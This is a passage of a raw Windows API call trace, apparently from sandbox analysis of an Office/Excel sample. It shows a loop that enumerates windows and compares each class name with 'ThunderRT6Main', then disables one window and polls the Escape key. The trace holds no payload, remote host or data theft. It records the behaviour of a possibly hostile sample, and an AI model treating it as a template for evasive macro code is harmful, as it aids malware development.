[0116.224] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0116.224] GetWindowThreadProcessId (in: hWnd=0x10100, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0116.225] GetWindow (hWnd=0x10100, uCmd=0x2) returned 0x100fe [0116.225] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0116.225] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0116.225] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x53c [0116.225] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x5008e [0116.225] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0116.225] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0116.225] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.225] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0116.225] GetClassNameA (in: hWnd=0x10084, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0116.225] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0116.225] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0116.225] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0116.225] GetClassNameA (in: hWnd=0x10082, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0116.225] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0116.225] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.225] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007a [0116.225] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0116.225] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0116.225] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.225] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10068 [0116.225] GetClassNameA (in: hWnd=0x10068, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0116.225] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0116.226] GetWindowThreadProcessId (in: hWnd=0x10068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.226] GetWindow (hWnd=0x10068, uCmd=0x2) returned 0x20020 [0116.226] GetClassNameA (in: hWnd=0x20020, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0116.226] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0116.226] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0116.226] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0116.226] GetClassNameA (in: hWnd=0x20024, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.226] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.226] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0116.226] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x10064 [0116.226] GetClassNameA (in: hWnd=0x10064, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0116.226] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0116.226] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.226] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10052 [0116.226] GetClassNameA (in: hWnd=0x10052, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0116.226] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0116.226] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0116.226] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x10054 [0116.226] GetClassNameA (in: hWnd=0x10054, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.226] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.227] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0116.227] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004c [0116.227] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0116.227] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0116.227] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.227] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10044 [0116.227] GetClassNameA (in: hWnd=0x10044, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0116.227] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0116.227] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0116.227] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x20040 [0116.227] GetClassNameA (in: hWnd=0x20040, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0116.227] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0116.227] GetWindowThreadProcessId (in: hWnd=0x20040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0116.227] GetWindow (hWnd=0x20040, uCmd=0x2) returned 0x10042 [0116.227] GetClassNameA (in: hWnd=0x10042, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.227] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.227] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0116.227] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0116.227] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0116.227] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0116.227] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x44c [0116.227] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x2001e [0116.227] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.227] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.227] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0116.228] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20022 [0116.228] GetClassNameA (in: hWnd=0x20022, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0116.228] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0116.228] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0116.228] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x100ec [0116.228] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0116.228] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0116.228] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0116.228] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0116.228] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a10a0 [0116.228] IMalloc:Free (This=0x7fefecb5380, pv=0x76a10a0) [0116.331] GetCurrentThreadId () returned 0xbdc [0116.331] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0116.331] GetDesktopWindow () returned 0x10010 [0116.331] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x400a8 [0116.331] GetClassNameA (in: hWnd=0x400a8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0116.331] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0116.331] GetWindowThreadProcessId (in: hWnd=0x400a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.331] GetWindow (hWnd=0x400a8, uCmd=0x2) returned 0x300b6 [0116.331] GetClassNameA (in: hWnd=0x300b6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0116.331] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0116.331] GetWindowThreadProcessId (in: hWnd=0x300b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.331] GetWindow (hWnd=0x300b6, uCmd=0x2) returned 0x500a4 [0116.331] GetClassNameA (in: hWnd=0x500a4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0116.331] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0116.331] GetWindowThreadProcessId (in: hWnd=0x500a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.331] GetWindow (hWnd=0x500a4, uCmd=0x2) returned 0x1013c [0116.331] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ATL:000007FEF4C752C0") returned 20 [0116.331] lstrcmpA (lpString1="ATL:000007FEF4C752C0", lpString2="ThunderRT6Main") returned -1 [0116.331] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0116.331] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x10136 [0116.332] GetClassNameA (in: hWnd=0x10136, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.332] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.332] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0116.332] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x10134 [0116.332] GetClassNameA (in: hWnd=0x10134, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0116.332] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0116.332] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0116.332] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10076 [0116.332] GetClassNameA (in: hWnd=0x10076, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0116.332] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0116.332] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.332] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10074 [0116.332] GetClassNameA (in: hWnd=0x10074, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0116.332] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0116.332] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.332] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10060 [0116.332] GetClassNameA (in: hWnd=0x10060, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0116.332] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0116.332] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.332] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1008a [0116.332] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0116.332] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0116.332] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.332] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007e [0116.332] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0116.332] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0116.333] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.333] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x1007c [0116.333] GetClassNameA (in: hWnd=0x1007c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0116.333] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0116.333] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.333] GetWindow (hWnd=0x1007c, uCmd=0x2) returned 0x10078 [0116.333] GetClassNameA (in: hWnd=0x10078, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0116.333] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0116.333] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.333] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10056 [0116.333] GetClassNameA (in: hWnd=0x10056, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0116.333] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0116.333] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.333] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1004e [0116.333] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.333] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.333] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.333] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10058 [0116.333] GetClassNameA (in: hWnd=0x10058, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0116.333] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0116.333] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.333] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10050 [0116.333] GetClassNameA (in: hWnd=0x10050, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0116.333] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0116.333] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.333] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f6 [0116.333] GetClassNameA (in: hWnd=0x100f6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0116.334] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0116.334] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0116.334] GetWindow (hWnd=0x100f6, uCmd=0x2) returned 0x5009a [0116.334] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0116.334] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0116.334] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.334] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0116.334] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0116.334] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0116.334] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.334] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x102d4 [0116.334] GetClassNameA (in: hWnd=0x102d4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0116.334] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0116.334] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0116.334] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0116.334] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0116.334] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0116.334] GetWindow (hWnd=0x102d4, uCmd=0x2) returned 0x30154 [0116.334] GetClassNameA (in: hWnd=0x30154, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.334] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.334] GetWindowThreadProcessId (in: hWnd=0x30154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0116.334] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0116.334] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0116.334] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0116.334] GetWindow (hWnd=0x30154, uCmd=0x2) returned 0x2029c [0116.334] GetClassNameA (in: hWnd=0x2029c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0116.334] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0116.334] GetWindowThreadProcessId (in: hWnd=0x2029c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0116.334] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0116.335] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0116.335] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0116.335] GetWindow (hWnd=0x2029c, uCmd=0x2) returned 0x2038a [0116.335] GetClassNameA (in: hWnd=0x2038a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0116.335] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0116.335] GetWindowThreadProcessId (in: hWnd=0x2038a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0116.335] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0116.335] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0116.335] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0116.335] GetWindow (hWnd=0x2038a, uCmd=0x2) returned 0x20360 [0116.335] GetClassNameA (in: hWnd=0x20360, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0116.335] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0116.335] GetWindowThreadProcessId (in: hWnd=0x20360, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0116.335] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0116.335] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0116.335] IsWindowEnabled (hWnd=0x20360) returned 1 [0116.335] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0116.335] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0116.335] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0116.335] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0116.335] GetClassNameA (in: hWnd=0x2030c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0116.335] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0116.335] GetWindowThreadProcessId (in: hWnd=0x2030c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0116.335] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0116.335] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0116.335] GetClassNameA (in: hWnd=0x10350, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0116.336] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0116.336] GetWindowThreadProcessId (in: hWnd=0x10350, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xce0 [0116.336] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0116.336] GetClassNameA (in: hWnd=0x202ee, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0116.336] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0116.336] GetWindowThreadProcessId (in: hWnd=0x202ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0116.336] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0116.336] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0116.336] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0116.336] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0116.336] GetClassNameA (in: hWnd=0x302c4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0116.336] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0116.336] GetWindowThreadProcessId (in: hWnd=0x302c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0116.336] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0116.336] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0116.336] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0116.336] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0116.336] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0116.336] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0116.336] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0116.336] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0116.336] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0116.336] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0116.336] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0116.336] GetClassNameA (in: hWnd=0x10270, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0116.336] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0116.336] GetWindowThreadProcessId (in: hWnd=0x10270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0116.336] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0116.337] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0116.337] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0116.337] GetWindow (hWnd=0x10270, uCmd=0x2) returned 0x30152 [0116.337] GetClassNameA (in: hWnd=0x30152, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0116.337] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0116.337] GetWindowThreadProcessId (in: hWnd=0x30152, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbc8 [0116.337] GetWindow (hWnd=0x30152, uCmd=0x2) returned 0x3018c [0116.337] GetClassNameA (in: hWnd=0x3018c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0116.337] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0116.337] GetWindowThreadProcessId (in: hWnd=0x3018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0116.337] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0116.337] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0116.337] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0116.337] GetWindow (hWnd=0x3018c, uCmd=0x2) returned 0x900a0 [0116.337] GetClassNameA (in: hWnd=0x900a0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0116.337] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0116.337] GetWindowThreadProcessId (in: hWnd=0x900a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.337] GetWindow (hWnd=0x900a0, uCmd=0x2) returned 0x10262 [0116.337] GetClassNameA (in: hWnd=0x10262, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.337] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.337] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0116.337] GetWindow (hWnd=0x10262, uCmd=0x2) returned 0x10260 [0116.338] GetClassNameA (in: hWnd=0x10260, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Waiting_window") returned 14 [0116.338] lstrcmpA (lpString1="Waiting_window", lpString2="ThunderRT6Main") returned 1 [0116.338] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0116.339] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0116.339] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x7da1410 [0116.339] IMalloc:Free (This=0x7fefecb5380, pv=0x7da1410) [0119.241] GetAsyncKeyState (vKey=27) returned 0 [0119.241] GetCurrentThreadId () returned 0xbdc [0119.241] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0119.241] GetDesktopWindow () returned 0x10010 [0119.242] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0119.242] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0119.242] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0119.242] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0119.242] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0119.242] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0119.242] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0119.242] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0119.242] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0119.242] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0119.242] GetWindowLongPtrA (hWnd=0x2038a, 